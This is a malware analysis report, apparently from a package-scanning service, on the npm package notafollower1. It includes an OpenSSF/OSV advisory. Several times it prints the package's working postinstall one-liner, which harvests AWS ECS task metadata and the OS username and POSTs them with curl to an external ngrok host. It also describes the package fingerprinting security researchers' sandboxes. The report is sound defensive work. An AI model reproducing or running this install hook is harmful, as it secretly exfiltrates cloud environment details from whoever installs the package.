notafollower1@1.0.4: Malicious npm security report (Block)

AI Security Review

scanned 2d ago · by lpm-firewall-ai

On npm install, the package collects ECS task metadata and the current OS username. It sends the collected output to an external ngrok host.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm postinstall during package installation

Impact

Exfiltrates cloud-container metadata that may expose environment, network, and task configuration details.

Mechanism

ECS metadata and host-user discovery piped to curl POST

Attack narrative

The manifest's postinstall runs a Node one-liner that requests the ECS metadata endpoint identified by ECS_CONTAINER_METADATA_URI_V4, executes whoami, prints both results, and pipes that output to curl. Curl sends it to mourner-slot-explicit.ngrok-free.dev without user consent.

Rationale

The only package file defines an install-time metadata-harvesting and external-exfiltration chain. This is concrete malicious behavior, not a package-aligned operation.

Evidence

package.json

Network endpoints1

mourner-slot-explicit.ngrok-free.dev

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-14034

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in notafollower1 (npm)

Details

package.json declares a postinstall script that automatically runs on npm install and fetches AWS ECS container task metadata via the ECS_CONTAINER_METADATA_URI_V4 endpoint (task ARN, container names, image names), then POSTs the collected data to a hardcoded ngrok tunnel at https://mourner-slot-explicit.ngrok-free.dev using curl. The postinstall also inspects the container image name for substrings matching known security research operators (twbray, packagehound, wiz, oss-dynamic) and labels the payload accordingly, indicating deliberate sandbox and analyst fingerprinting. The destination is an anonymous ngrok tunnel unrelated to any legitimate publisher infrastructure, and the collected data reveals installer-side CI/build/container environment details to a third party.

References

OSV advisory PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

postinstall executes automatically during npm installation.
It fetches ECS task metadata and runs whoami.
Its output is POSTed to an unrelated ngrok endpoint.

Evidence against

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 0 file(s), 0 B of source

Source & flagged code

6 flagged

package.jsonView file

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(async r=>{const u=require('child_process').execSync('whoami').toString().trim();console.log('user:',u,'status...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(async r=>{const u=require('child_process').execSync('whoami').toString().trim();console.log('user:',u,'status...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"postinstall": "node -e \"fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(async r=>{const u=require('child_process').execSync('whoami').toString().trim();console.log('user:',u,'status:',r.status,await r.text())}).catch(console.error)\" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-"

High

Suspicious Lifecycle Evidence

postinstall executes automatically during npm installation.

package.jsonView on unpkg · L5

5fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(async r=>{const u=require('child_process').execSync('whoami').toString().trim();console.log('user:',u,'status:',r.status,await r.text())})

High

Ai Review Evidence

It fetches ECS task metadata and runs whoami.

package.jsonView on unpkg · L5

5curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-

High

Ai Review Evidence

Its output is POSTed to an unrelated ngrok endpoint.

package.jsonView on unpkg · L5

package.json#scripts.postinstallView file

1"fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(async r=>{const u=require('child_process').execSync('whoami').toString().trim();console.log('user:',u,'status:',r.sta...

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

package.json#scripts.postinstallView on unpkg · L1

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(async r=>{const u=require('child_process').execSync('whoami').toString().trim();console.log('user:',u,'status...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(async r=>{const u=require('child_process').execSync('whoami').toString().trim();console.log('user:',u,'status...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"postinstall": "node -e \"fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(async r=>{const u=require('child_process').execSync('whoami').toString().trim();console.log('user:',u,'status:',r.status,await r.text())}).catch(console.error)\" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-"

High

Suspicious Lifecycle Evidence

postinstall executes automatically during npm installation.

package.jsonView on unpkg · L5

Findings

1 Critical5 High2 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighSame File Env Network Executionpackage.json#scripts.postinstall

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepackage.json

LowScripts Present

LowNo License